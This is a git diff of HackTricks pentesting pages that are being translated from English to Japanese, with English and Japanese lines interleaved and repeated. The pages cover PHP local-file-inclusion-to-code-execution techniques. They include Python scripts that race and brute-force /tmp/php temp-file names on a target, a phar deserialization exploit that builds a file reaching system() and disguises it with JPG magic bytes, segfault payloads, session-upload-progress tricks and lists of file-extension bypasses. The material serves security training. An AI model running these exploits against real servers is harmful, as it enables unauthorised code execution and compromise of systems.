array_push($convs_used, array("UTF8", "CSISO2022KR"));
$convs_used = array();
$current_val = iconv("UTF8", "CSISO2022KR", $init_val);
array_push($convs_used, array("UTF8", "CSISO2022KR"));
$current_val2 = "";
$current_val2 = "";
for ($c = 0; $c < 5; $c++){
$conv1 = $convs[array_rand($convs, 1)];
$conv2 = $convs[array_rand($convs, 1)];
for ($c = 0; $c < 5; $c++){
$conv1 = $convs[array_rand($convs, 1)];
$conv2 = $convs[array_rand($convs, 1)];
if ($conv1 === $conv2){
continue;
}
if ($conv1 === $conv2){
continue;
}
$new_conv = array($conv1, $conv2);
array_push($convs_used, $new_conv);
$new_conv = array($conv1, $conv2);
array_push($convs_used, $new_conv);
$current_val2 = get_tranform($current_val, array($new_conv));
$current_val2 = get_tranform($current_val, array($new_conv));
if ($current_val === $current_val2){
continue;
}
if ($current_val === $current_val2){
continue;
}
$current_val = $current_val2;
test_value($current_val, $convs_used);
}
}
$current_val = $current_val2;
test_value($current_val, $convs_used);
}
}
while(true){
find_vals($init);
while(true){
find_vals($init);
}
?>
```
## More References
## さらなる参考文献
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,44 +2,41 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.**
この脆弱性を悪用するには、次のものが必要です: **LFI脆弱性、phpinfo()が表示されるページ、"file_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込むことができること。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
You need to fix the exploit (change **=>** for **=>**). To do so you can do:
**チュートリアル HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
エクスプロイトを修正する必要があります(**=>**を**=>**に変更)。そのためには、次のようにできます:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
あなたは、エクスプロイトの最初にある**payload**を変更する必要があります例えば、php-rev-shell用、**REQ1**これはphpinfoページを指し、パディングが含まれている必要があります、すなわち_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_)、および**LFIREQ**これはLFI脆弱性を指す必要があります、すなわち_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ null charを悪用する際のダブル"%"に注意してください)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
### Theory
### 理論
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
PHPでアップロードが許可されている場合、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
次に、ウェブサーバーにLFI脆弱性が見つかった場合、一時ファイルの名前を推測し、そのファイルにアクセスしてRCEを悪用することができます。
In **Windows** the files are usually stored in **C:\Windows\temp\php**
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig()**".
**Linux**では、ファイルの名前は**random**であり、**/tmp**にあります。名前がランダムであるため、一時ファイルの名前を**どこかから抽出し**、削除される前にアクセスする必要があります。これは、関数"**phpconfig()**"の内容内で**変数$\_FILES**の値を読み取ることで行うことができます。
**phpinfo()**
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** (using big headers) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo() to be returned** (where the name of the temporary file is) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
**Python script to try to bruteforce the name (if length = 6)**
**PHP**は**4096B**のバッファを使用し、**満杯**になると、**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**一時ファイルの名前が含まれている場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。
**名前をブルートフォースするためのPythonスクリプト長さ=6の場合**
```python
import itertools
import requests
@ -48,27 +45,25 @@ import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
According to the writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (second part) and [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), the following payloads caused a segmentation fault in PHP:
次の書き込みによると [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (第二部) および [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view)、次のペイロードがPHPでセグメンテーションフォルトを引き起こしました
```php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
@ -11,13 +10,11 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
```
あなたは、**ファイル**を**含む****POST**リクエストを**送信**すると、PHPがそのファイルの内容を持つ**一時ファイルを`/tmp/php<something>`**に作成することを知っておくべきです。このファイルは、リクエストが処理されると**自動的に削除**されます。
You should know that if you **send** a **POST** request **containing** a **file**, PHP will create a **temporary file in `/tmp/php<something>`** with the contents of that file. This file will be **automatically deleted** once the request was processed.
If you find a **LFI** and you manage to **trigger** a segmentation fault in PHP, the **temporary file will never be deleted**. Therefore, you can **search** for it with the **LFI** vulnerability until you find it and execute arbitrary code.
You can use the docker image [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) for testing.
**LFI**を見つけ、PHPでセグメンテーションフォルトを**トリガー**することができれば、**一時ファイルは決して削除されません**。したがって、**LFI**脆弱性を利用してそれを**検索**し、見つけて任意のコードを実行することができます。
テストには、dockerイメージ[https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)を使用できます。
```python
# upload file with segmentation fault
import requests
@ -39,27 +36,25 @@ base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
bruteforce(charset)
if __name__ == "__main__":
main()
main()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,32 @@
{{#include ../../banners/hacktricks-training.md}}
**Check the full details of this technique in [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)**
**この技術の詳細は[https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)で確認してください**
## **PHP File uploads**
## **PHPファイルアップロード**
When a **PHP** engine receives a **POST request** containing files formatted according to RFC 1867, it generates temporary files to store the uploaded data. These files are crucial for file upload handling in PHP scripts. The `move_uploaded_file` function must be used to relocate these temporary files to a desired location if persistent storage beyond the script's execution is needed. Post-execution, PHP automatically deletes any remaining temporary files.
**PHP**エンジンがRFC 1867に従ってフォーマットされたファイルを含む**POSTリクエスト**を受け取ると、アップロードされたデータを保存するための一時ファイルが生成されます。これらのファイルは、PHPスクリプトにおけるファイルアップロード処理にとって重要です。永続的なストレージがスクリプトの実行を超えて必要な場合、`move_uploaded_file`関数を使用してこれらの一時ファイルを希望の場所に移動する必要があります。実行後、PHPは残りの一時ファイルを自動的に削除します。
> [!NOTE]
> **Security Alert: Attackers, aware of the temporary files' location, might exploit a Local File Inclusion vulnerability to execute code by accessing the file during upload.**
> **セキュリティ警告: 一時ファイルの場所を知っている攻撃者は、アップロード中にファイルにアクセスすることでローカルファイルインクルージョンの脆弱性を悪用し、コードを実行する可能性があります。**
The challenge for unauthorized access lies in predicting the temporary file's name, which is intentionally randomized.
不正アクセスの課題は、一時ファイルの名前を予測することにありますが、これは意図的にランダム化されています。
#### Exploitation on Windows Systems
#### Windowsシステムでの悪用
On Windows, PHP generates temporary file names using the `GetTempFileName` function, resulting in a pattern like `<path>\<pre><uuuu>.TMP`. Notably:
Windowsでは、PHPは`GetTempFileName`関数を使用して一時ファイル名を生成し、`<path>\<pre><uuuu>.TMP`のようなパターンになります。特に:
- The default path is typically `C:\Windows\Temp`.
- The prefix is usually "php".
- The `<uuuu>` represents a unique hexadecimal value. Crucially, due to the function's limitation, only the lower 16 bits are used, allowing for a maximum of 65,535 unique names with constant path and prefix, making brute force feasible.
Moreover, the exploitation process is simplified on Windows systems. A peculiarity in the `FindFirstFile` function permits the use of wildcards in Local File Inclusion (LFI) paths. This enables crafting an include path like the following to locate the temporary file:
- デフォルトのパスは通常`C:\Windows\Temp`です。
- プレフィックスは通常「php」です。
- `<uuuu>`はユニークな16進数値を表します。重要なことに、この関数の制限により、下位16ビットのみが使用されるため、一定のパスとプレフィックスで最大65,535のユニークな名前が可能になり、ブルートフォースが実行可能です。
さらに、Windowsシステムでの悪用プロセスは簡素化されています。`FindFirstFile`関数の特異性により、ローカルファイルインクルージョンLFIパスでワイルドカードを使用することが許可されています。これにより、一時ファイルを見つけるためのインクルードパスを次のように作成できます
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```
特定の状況では、より具体的なマスク(例えば `php1<<` または `phpA<<`)が必要になる場合があります。これらのマスクを体系的に試すことで、アップロードされた一時ファイルを発見することができます。
In certain situations, a more specific mask (like `php1<<` or `phpA<<`) might be required. One can systematically try these masks to discover the uploaded temporary file.
#### GNU/Linuxシステムでの悪用
#### Exploitation on GNU/Linux Systems
For GNU/Linux systems, the randomness in temporary file naming is robust, rendering the names neither predictable nor susceptible to brute force attacks. Further details can be found in the referenced documentation.
GNU/Linuxシステムでは、一時ファイル名のランダム性が強固であり、名前は予測不可能であり、ブルートフォース攻撃に対しても脆弱ではありません。詳細は参照された文書に記載されています。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,49 +1,46 @@
# phar:// deserialization
# phar:// デシリアライズ
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**バグバウンティのヒント**: **Intigriti****サインアップ** してください。これは **ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム** です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大 **$100,000** のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.
**Phar** ファイル (PHP アーカイブ) は **シリアライズ形式のメタデータを含んでいます**。したがって、解析されると、この **メタデータ****デシリアライズ** され、**PHP** コード内の **デシリアライズ** 脆弱性を悪用しようとすることができます。
The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**.
So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:
この特性の最も良い点は、**file_get_contents()、fopen()、file() または file_exists()、md5_file()、filemtime() または filesize()** のような PHP コードを評価しない関数を使用しても、このデシリアライズが発生することです。
したがって、任意のファイルのサイズを取得するために PHP ウェブが **`phar://`** プロトコルを使用して任意のファイルを取得できる状況を想像してください。そして、コード内に次のような **クラス** が見つかります:
```php:vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:
あなたは、読み込まれると**このクラスを悪用して任意のコマンド**を実行する**phar**ファイルを作成できます。
```php:create_phar.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
function __destruct() {
system($this->data);
}
}
// create new Phar
@ -57,29 +54,23 @@ $object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\
**Compile** the `test.phar` file with:
注意してください、**JPGのマジックバイト**`\xff\xd8\xff`がpharファイルの先頭に追加されて、**可能な**ファイル**アップロード**の**制限**を**回避**するために使用されます。\
`test.phar`ファイルを次のようにコンパイルします:
```bash
php --define phar.readonly=0 create_phar.php
```
And execute the `whoami` command abusing the vulnerable code with:
脆弱なコードを悪用して `whoami` コマンドを実行します:
```bash
php vuln.php
```
### References
### 参考文献
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Info
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If **`session.upload_progress.enabled`** is **`On`** and you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**.
## 基本情報
**セッションがない**場合でも、**Local File Inclusion**を見つけた場合、`session.auto_start``Off`であっても、**`session.upload_progress.enabled`**が**`On`**であり、**`PHP_SESSION_UPLOAD_PROGRESS`**を**multipart POST**データに提供すると、PHPは**セッションを有効にします**。
```bash
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
@ -19,22 +18,20 @@ $ ls -a /var/lib/php/sessions/
In the last example the session will contain the string blahblahblah
```
Note that with **`PHP_SESSION_UPLOAD_PROGRESS`** you can **control data inside the session**, so if you includes your session file you can include a part you control (a php shellcode for example).
**`PHP_SESSION_UPLOAD_PROGRESS`**を使用すると、**セッション内のデータを制御**できるため、セッションファイルを含めると、制御できる部分例えば、phpシェルコードを含めることができます。
> [!NOTE]
> Although most tutorials on the Internet recommends you to set `session.upload_progress.cleanup` to `Off` for debugging purpose. The default `session.upload_progress.cleanup` in PHP is still `On`. It means your upload progress in the session will be cleaned as soon as possible. So this will be **Race Condition**.
> インターネット上のほとんどのチュートリアルでは、デバッグ目的で`session.upload_progress.cleanup``Off`に設定することを推奨していますが、PHPのデフォルトの`session.upload_progress.cleanup`は依然として`On`です。これは、セッション内のアップロード進行状況ができるだけ早くクリーンアップされることを意味します。したがって、これは**レースコンディション**になります。
### The CTF
### CTF
In the [**original CTF**](https://blog.orange.tw/2018/10/) where this technique is commented, it wasn't enough to exploit the Race Condition but the content loaded needed to start also with the string `@<?php`.
この技術がコメントされた[**元のCTF**](https://blog.orange.tw/2018/10/)では、レースコンディションを悪用するには不十分で、読み込まれるコンテンツも`@<?php`という文字列で始まる必要がありました。
Due to the default setting of `session.upload_progress.prefix`, our **SESSION file will start with a annoying prefix** `upload_progress_` Such as: `upload_progress_controlledcontentbyattacker`
`session.upload_progress.prefix`のデフォルト設定により、**SESSIONファイルは煩わしいプレフィックス**`upload_progress_`で始まります。例えば:`upload_progress_controlledcontentbyattacker`
The trick to **remove the initial prefix** was to **base64encode the payload 3 times** and then decode it via `convert.base64-decode` filters, this is because when **base64 decoding PHP will remove the weird characters**, so after 3 times **only** the **payload** **sent** by the attacker will **remain** (and then the attacker can control the initial part).
**初期プレフィックスを削除する**トリックは、**ペイロードを3回base64エンコード**し、その後`convert.base64-decode`フィルターを介してデコードすることです。これは、**base64デコード時にPHPが奇妙な文字を削除するため**です。したがって、3回後には**攻撃者によって送信された****ペイロード**のみが**残ります**(その後、攻撃者は初期部分を制御できます)。
More information in the original writeup [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) and final exploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
Another writeup in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
元の詳細は[https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/)にあり、最終的なエクスプロイトは[https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)です。\
別の解説は[https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)にあります。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# File Upload
# ファイルアップロード
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
## File Upload General Methodology
## ファイルアップロード一般的手法
Other useful extensions:
他の便利な拡張子:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **PHPv8での作業**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -21,101 +21,100 @@ Other useful extensions:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### ファイル拡張子チェックのバイパス
1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
- _file.png.php_
- _file.png.Php5_
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
- _file.pHp5...._
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Add **another layer of extensions** to the previous check:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
- _ex: file.php.png_
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
1. 適用される場合、**以前の拡張子をチェック**します。また、いくつかの**大文字**を使用してテストします: _pHp, .pHP5, .PhAr ..._
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします(以前の拡張子も使用):_
- _file.png.php_
- _file.png.Php5_
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_以前に言及した**拡張子**も使用してみてください_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
- _file.pHp5...._
4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイトを拡張子の間に追加します。_より良いペイロードを準備するために**以前の拡張子**を使用することもできます。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. **前のチェックに別の拡張子の層を追加**します:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらない場合でも、**.php**であるものはすべてコードを実行します):
- _ex: file.php.png_
7. **Windows**での**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例: “file.asax:.jpg”。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”)
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
```
# Linuxの最大255バイト
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
# ファイルをアップロードし、許可される文字数の応答を確認します。236としましょう
python -c 'print "A" * 232'
